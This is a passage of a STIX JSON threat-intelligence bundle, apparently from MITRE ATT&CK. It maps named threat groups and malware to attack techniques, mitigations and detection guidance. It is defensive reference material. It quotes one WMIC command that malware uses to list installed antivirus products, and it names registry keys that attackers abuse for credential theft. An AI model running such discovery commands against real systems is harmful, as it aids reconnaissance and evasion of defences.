<code>$screenshot</code> that may be responsible for taking screenshots of the victim machine.(Citation: Unit 42 DarkHydrus July 2018)", "relationship_type": "uses", "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122", "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e76a5485-4008-4096-820c-87b7dede9e02", "type": "relationship", "created": "2020-08-10T13:14:05.205Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TrendMicro macOS Dacls May 2020", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-dacls-rat-backdoor-show-lazarus-multi-platform-attack-capability/", "description": "Mabutas, G. (2020, May 11). New MacOS Dacls RAT Backdoor Shows Lazarus\u2019 Multi-Platform Attack Capability. Retrieved August 10, 2020."}], "modified": "2020-08-10T13:14:05.205Z", "description": "[Dacls](https://attack.mitre.org/software/S0497) can scan directories on a compromised host.(Citation: TrendMicro macOS Dacls May 2020)", "relationship_type": "uses", "source_ref": "malware--3aa169f8-bbf6-44bb-b57d-7f6ada5c2128", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e76db224-a9a8-4a7a-8d0c-d64979087e73", "type": "relationship", "created": "2021-07-26T16:02:18.443Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-10-07T22:10:56.059Z", "description": "Use auditing tools capable of detecting folder permissions abuse opportunities on systems, especially reviewing changes made to folders by third-party software.", "relationship_type": "mitigates", "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", "target_ref": "attack-pattern--573ad264-1371-4ae0-8482-d2673b719dba", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--e76f8463-45ca-489b-86e8-ee854c2a0f71", "created": "2023-07-27T20:35:47.179Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant FIN13 Aug 2022", "description": "Ta, V., et al. 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Retrieved May 5, 2020."}], "modified": "2020-10-14T14:40:36.366Z", "description": "[Imminent Monitor](https://attack.mitre.org/software/S0434) has a dynamic debugging feature to check whether it is located in the %TEMP% directory, otherwise it copies itself there.(Citation: QiAnXin APT-C-36 Feb2019)", "relationship_type": "uses", "source_ref": "tool--8f8cd191-902c-4e83-bf20-b57c8c4640e9", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e811f6e8-a736-4bb8-8cd9-c6edc9a7ebd8", "type": "relationship", "created": "2021-03-04T17:05:02.559Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Crowdstrike Indrik November 2018", "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/", "description": "Frankoff, S., Hartley, B. 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Retrieved February 17, 2022."}, {"source_name": "Microsoft Actinium February 2022", "url": "https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/", "description": "Microsoft Threat Intelligence Center. (2022, February 4). ACTINIUM targets Ukrainian organizations. Retrieved February 18, 2022."}, {"source_name": "Unit 42 Gamaredon February 2022", "url": "https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021/", "description": "Unit 42. (2022, February 3). Russia\u2019s Gamaredon aka Primitive Bear APT Group Actively Targeting Ukraine. Retrieved February 21, 2022."}, {"source_name": "Secureworks IRON TILDEN Profile", "url": "https://www.secureworks.com/research/threat-profiles/iron-tilden", "description": "Secureworks CTU. (n.d.). IRON TILDEN. Retrieved February 24, 2022."}], "modified": "2022-02-24T20:57:00.192Z", "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) has attempted to get users to click on Office attachments with malicious macros embedded.(Citation: TrendMicro Gamaredon April 2020)(Citation: ESET Gamaredon June 2020)(Citation: Symantec Shuckworm January 2022)(Citation: CERT-EE Gamaredon January 2021)(Citation: Microsoft Actinium February 2022)(Citation: Unit 42 Gamaredon February 2022)(Citation: Secureworks IRON TILDEN Profile)", "relationship_type": "uses", "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--e848e92c-af22-4284-a27d-7c2673a4b0fe", "created": "2022-09-27T17:57:34.141Z", "revoked": false, "external_references": [{"source_name": "FoxIT Wocao December 2019", "description": "Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China\u2019s hidden hacking groups. Retrieved October 8, 2020.", "url": "https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-27T17:57:34.141Z", "description": "During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors collected a list of installed software on the infected system.(Citation: FoxIT Wocao December 2019)", "relationship_type": "uses", "source_ref": "campaign--b03d5112-e23a-4ac8-add0-be7502d24eff", "target_ref": "attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e84c3f01-fb77-40e6-8507-42bc500bd928", "type": "relationship", "created": "2021-03-15T18:56:36.787Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Trickbot Oct 2020", "url": "https://www.welivesecurity.com/2020/10/12/eset-takes-part-global-operation-disrupt-trickbot/", "description": "Boutin, J. (2020, October 12). ESET takes part in global operation to disrupt Trickbot. Retrieved March 15, 2021."}], "modified": "2021-03-15T18:56:36.787Z", "description": "[TrickBot](https://attack.mitre.org/software/S0266) establishes persistence in the Startup folder.(Citation: ESET Trickbot Oct 2020)", "relationship_type": "uses", "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--e84df21f-b55f-4b5d-ae7b-0f8fcc4eed95", "created": "2022-03-30T14:26:51.864Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "TechNet Autoruns", "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. 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(2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020."}], "modified": "2020-11-06T18:17:30.524Z", "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has set auto-forward rules on victim's e-mail accounts.(Citation: CISA AA20-301A Kimsuky)", "relationship_type": "uses", "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", "target_ref": "attack-pattern--7d77a07d-02fe-4e88-8bd9-e9c008c01bf0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e8537bf5-f4b6-4b37-948d-57f49eb00984", "type": "relationship", "created": "2021-03-18T15:15:00.511Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro Muddy Water March 2021", "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html", "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021."}], "modified": "2021-04-25T23:29:36.314Z", "description": "[RemoteUtilities](https://attack.mitre.org/software/S0592) can use Msiexec to install a service.(Citation: Trend Micro Muddy Water March 2021)", "relationship_type": "uses", "source_ref": "tool--03c6e0ea-96d3-4b23-9afb-05055663cf4b", "target_ref": "attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e85549b5-77c8-426a-b7ea-fec30b05973f", "type": "relationship", "created": "2021-02-03T18:13:28.321Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "DOJ Iran Indictments March 2018", "url": "https://www.justice.gov/usao-sdny/press-release/file/1045781/download", "description": "DOJ. (2018, March 23). U.S. v. Rafatnejad et al . Retrieved February 3, 2021."}], "modified": "2021-04-21T11:59:13.573Z", "description": "[Silent Librarian](https://attack.mitre.org/groups/G0122) has used compromised credentials to obtain unauthorized access to online accounts.(Citation: DOJ Iran Indictments March 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--90784c1e-4aba-40eb-9adf-7556235e6384", "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e85a5fe7-cbfe-44b1-b297-d02f531c5fb1", "type": "relationship", "created": "2020-06-10T21:56:40.179Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US-CERT Ukraine Feb 2016", "url": "https://www.us-cert.gov/ics/alerts/IR-ALERT-H-16-056-01", "description": "US-CERT. (2016, February 25). ICS Alert (IR-ALERT-H-16-056-01) Cyber-Attack Against Ukrainian Critical Infrastructure. Retrieved June 10, 2020."}, {"source_name": "ESET Telebots June 2017", "url": "https://www.welivesecurity.com/2017/06/30/telebots-back-supply-chain-attacks-against-ukraine/", "description": "Cherepanov, A.. (2017, June 30). TeleBots are back: Supply chain attacks against Ukraine. Retrieved June 11, 2020."}], "modified": "2020-06-18T17:13:41.880Z", "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has used the [BlackEnergy](https://attack.mitre.org/software/S0089) KillDisk component to overwrite files on Windows-based Human-Machine Interfaces. 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Retrieved October 19, 2020."}], "modified": "2022-02-16T20:15:45.792Z", "description": "Some embedded network devices are capable of storing passwords for local accounts in either plain-text or encrypted formats.  Ensure that, where available, local passwords are always encrypted, per vendor recommendations.(Citation: Cisco IOS Software Integrity Assurance - AAA)", "relationship_type": "mitigates", "source_ref": "course-of-action--49c06d54-9002-491d-9147-8efb537fbd26", "target_ref": "attack-pattern--b8017880-4b1e-42de-ad10-ae7ac6705166", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e85bf694-00ce-4e2a-835c-dd899dfb813d", "type": "relationship", "created": "2022-03-30T14:26:51.866Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.866Z", "description": "Monitor executed commands and arguments that are leveraging the use of resource forks, especially those immediately followed by potentially malicious activity such as creating network connections.", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--b22e5153-ac28-4cc6-865c-2054e36285cb", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--e85d72e6-f217-4f8e-bdb9-5143a06e52a8", "created": "2022-08-07T15:06:14.232Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "MalwareBytes SideCopy Dec 2021", "url": "https://www.malwarebytes.com/blog/news/2021/12/sidecopy-apt-connecting-lures-to-victims-payloads-to-infrastructure", "description": "Threat Intelligence Team. (2021, December 2). SideCopy APT: Connecting lures victims, payloads to infrastructure. Retrieved June 13, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Action RAT](https://attack.mitre.org/software/S1028) can identify AV products on an infected host using the following command: `cmd.exe WMIC /Node:localhost /Namespace:\\\\root\\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List`.(Citation: MalwareBytes SideCopy Dec 2021)", "modified": "2022-08-24T16:13:11.385Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--36801ffb-5c85-4c50-9121-6122e389366d", "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e869a744-8bc5-4c01-960f-11e850a5c38e", "type": "relationship", "created": "2021-06-18T15:26:55.689Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 Siloscape Jun 2021", "url": "https://unit42.paloaltonetworks.com/siloscape/", "description": "Prizmant, D. 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Retrieved June 9, 2021."}], "modified": "2021-06-18T15:26:55.689Z", "description": "[Siloscape](https://attack.mitre.org/software/S0623) checks for Kubernetes node permissions.(Citation: Unit 42 Siloscape Jun 2021)", "relationship_type": "uses", "source_ref": "malware--4fbd565b-bf55-4ac7-80b4-b183a7b64b9c", "target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--e8713274-bcbc-4c18-bf06-2c2a0c01d2ba", "created": "2022-06-03T16:08:45.331Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "SecureWorks August 2019", "url": "https://www.secureworks.com/blog/lyceum-takes-center-stage-in-middle-east-campaign", "description": "SecureWorks 2019, August 27 LYCEUM Takes Center Stage in Middle East Campaign Retrieved. 2019/11/19 "}], "x_mitre_deprecated": false, "revoked": false, "description": "[HEXANE](https://attack.mitre.org/groups/G1001) has used a PowerShell-based keylogging tool to capture the window title.(Citation: SecureWorks August 2019)", "modified": "2022-06-03T16:08:45.331Z", "relationship_type": "uses", "source_ref": "intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3", "target_ref": "attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--e8747d32-65e4-4a55-a5c8-e87136cc44da", "created": "2023-09-29T16:36:00.213Z", "revoked": false, "external_references": [{"source_name": "AADInternals", "description": "Dr. Nestori Syynimaa. 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(2020, June 30). StrongPity APT - Revealing Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020."}], "modified": "2020-07-28T17:59:34.589Z", "description": "[PROMETHIUM](https://attack.mitre.org/groups/G0056) has used watering hole attacks to deliver malicious versions of legitimate installers.(Citation: Bitdefender StrongPity June 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--efed95ba-d7e8-47ff-8c53-99c42426ee7c", "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e898c937-29b0-4e30-aeed-017ac3bbc3ed", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://objective-see.com/blog/blog_0x25.html", "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. 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Retrieved September 14, 2017."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Net Crawler](https://attack.mitre.org/software/S0056) uses Windows admin shares to establish authenticated sessions to remote systems over SMB as part of lateral movement.(Citation: Cylance Cleaver)", "modified": "2022-07-22T18:37:22.207Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--fde50aaa-f5de-4cb8-989a-babb57d6a704", "target_ref": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e8a13c1f-d4b9-495d-b039-112c4d60916b", "type": "relationship", "created": "2022-03-03T16:30:17.113Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "NCSC Cyclops Blink February 2022", "url": "https://www.ncsc.gov.uk/files/Cyclops-Blink-Malware-Analysis-Report.pdf", "description": "NCSC. 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Retrieved March 3, 2022."}], "modified": "2022-03-03T16:36:21.313Z", "description": "[Cyclops Blink](https://attack.mitre.org/software/S0687) has the ability to execute on device startup, using a modified RC script named S51armled.(Citation: NCSC Cyclops Blink February 2022)", "relationship_type": "uses", "source_ref": "malware--b350b47f-88fe-4921-8538-6d9c59bac84e", "target_ref": "attack-pattern--dca670cf-eeec-438f-8185-fd959d9ef211", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e8a1c5ce-e02f-44f6-939d-a77378f06890", "type": "relationship", "created": "2021-06-30T16:13:40.658Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Chaes Nov 2020", "url": "https://www.cybereason.com/hubfs/dam/collateral/reports/11-2020-Chaes-e-commerce-malware-research.pdf", "description": "Salem, E. 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Retrieved July 27, 2023.", "url": "https://www.secureworks.com/blog/chinese-cyberespionage-group-bronze-silhouette-targets-us-government-and-defense-organizations"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-08T17:36:20.392Z", "description": "[Volt Typhoon](https://attack.mitre.org/groups/G1017) have inspected server logs to remove their IPs.(Citation: Secureworks BRONZE SILHOUETTE May 2023)", "relationship_type": "uses", "source_ref": "intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2", "target_ref": "attack-pattern--3975dbb5-0e1e-4f5b-bae1-cf2ab84b46dc", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--e962f10c-55ce-4e2e-9ed5-2e88d3c138e7", "created": "2022-03-30T14:26:51.856Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-11T03:28:30.657Z", "description": "Monitor for changes to Registry entries for password filters (ex: `HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages`) and correlate then investigate the DLL files these files reference.\n\nMonitor for changes to Registry entries for network providers (e.g., `HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\NetworkProvider\\Order`) and correlate then investigate the DLL files these values reference.", "relationship_type": "detects", "source_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", "target_ref": "attack-pattern--f4c1826f-a322-41cd-9557-562100848c84", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--e966a89a-eef3-4be4-9ea1-ded6da1315cd", "created": "2022-06-15T13:57:33.485Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Kaspersky Lyceum October 2021", "url": "https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf", "description": "Kayal, A. et al. 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Compare recent invocations of mavinject.exe with prior history of known good arguments and injected DLLs to determine anomalous and potentially adversarial activity.", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--1bae753e-8e52-4055-a66d-2ead90303ca9", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e97a70d3-07b9-4254-973f-8566874676c6", "type": "relationship", "created": "2022-03-30T14:26:51.839Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.839Z", "description": "Collect and analyze signing certificate metadata and check signature validity on software that executes within the environment", "source_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", "target_ref": "attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e97b39d6-7be1-4f59-8959-7f1f01402152", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf", "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", "source_name": "ESET Sednit Part 2"}], "modified": "2019-04-19T18:36:31.997Z", "description": "The C2 server used by [XTunnel](https://attack.mitre.org/software/S0117) provides a port number to the victim to use as a fallback in case the connection closes on the currently used port.(Citation: ESET Sednit Part 2)", "relationship_type": "uses", "source_ref": "malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab", "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e98a5dc7-707a-4933-801a-b98b2e44b309", "type": "relationship", "created": "2020-05-06T15:26:38.825Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TrendMicro BlackTech June 2017", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/", "description": "Bermejo, L., et al. (2017, June 22). Following the Trail of BlackTech\u2019s Cyber Espionage Campaigns. Retrieved May 5, 2020."}, {"source_name": "TrendMicro BlackTech June 2017", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/", "description": "Bermejo, L., et al. (2017, June 22). Following the Trail of BlackTech\u2019s Cyber Espionage Campaigns. Retrieved May 5, 2020."}], "modified": "2022-03-25T15:47:13.925Z", "description": "[PLEAD](https://attack.mitre.org/software/S0435) has the ability to list open windows on the compromised host.(Citation: TrendMicro BlackTech June 2017)(Citation: TrendMicro BlackTech June 2017)", "relationship_type": "uses", "source_ref": "malware--b57f419e-8b12-49d3-886b-145383725dcd", "target_ref": "attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e98ae201-7492-4aef-9b17-6499956bbe2b", "type": "relationship", "created": "2022-03-07T20:28:08.399Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "NCSC Cyclops Blink February 2022", "url": "https://www.ncsc.gov.uk/files/Cyclops-Blink-Malware-Analysis-Report.pdf", "description": "NCSC. (2022, February 23). Cyclops Blink Malware Analysis Report. Retrieved March 3, 2022."}], "modified": "2022-03-07T20:28:08.399Z", "description": "[Cyclops Blink](https://attack.mitre.org/software/S0687) can decrypt and parse instructions sent from C2.(Citation: NCSC Cyclops Blink February 2022)", "relationship_type": "uses", "source_ref": "malware--b350b47f-88fe-4921-8538-6d9c59bac84e", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e99392ab-a2a4-4a41-ad3e-4ec136829733", "type": "relationship", "created": "2022-03-30T14:26:51.851Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.851Z", "description": "Monitor Registry edits for modifications to services and startup programs that correspond to security tools.", "source_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", "target_ref": "attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e998971c-c944-4255-8831-89d49d0e5285", "type": "relationship", "created": "2019-03-25T15:05:23.718Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.", "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html", "source_name": "Talos Olympic Destroyer 2018"}], "modified": "2020-03-19T23:53:41.504Z", "description": "[Olympic Destroyer](https://attack.mitre.org/software/S0365) contains a module that tries to obtain credentials from LSASS, similar to [Mimikatz](https://attack.mitre.org/software/S0002). These credentials are used with [PsExec](https://attack.mitre.org/software/S0029) and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to help the malware propagate itself across a network.(Citation: Talos Olympic Destroyer 2018)", "relationship_type": "uses", "source_ref": "malware--3249e92a-870b-426d-8790-ba311c1abfb4", "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e9a0006e-1667-4407-a451-47a4409b90f3", "type": "relationship", "created": "2020-07-27T15:48:13.252Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Bitdefender StrongPity June 2020", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf", "description": "Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020."}], "modified": "2020-07-30T14:22:13.033Z", "description": "[StrongPity](https://attack.mitre.org/software/S0491) has been signed with self-signed certificates.(Citation: Bitdefender StrongPity June 2020)", "relationship_type": "uses", "source_ref": "malware--20945359-3b39-4542-85ef-08ecb4e1c174", "target_ref": 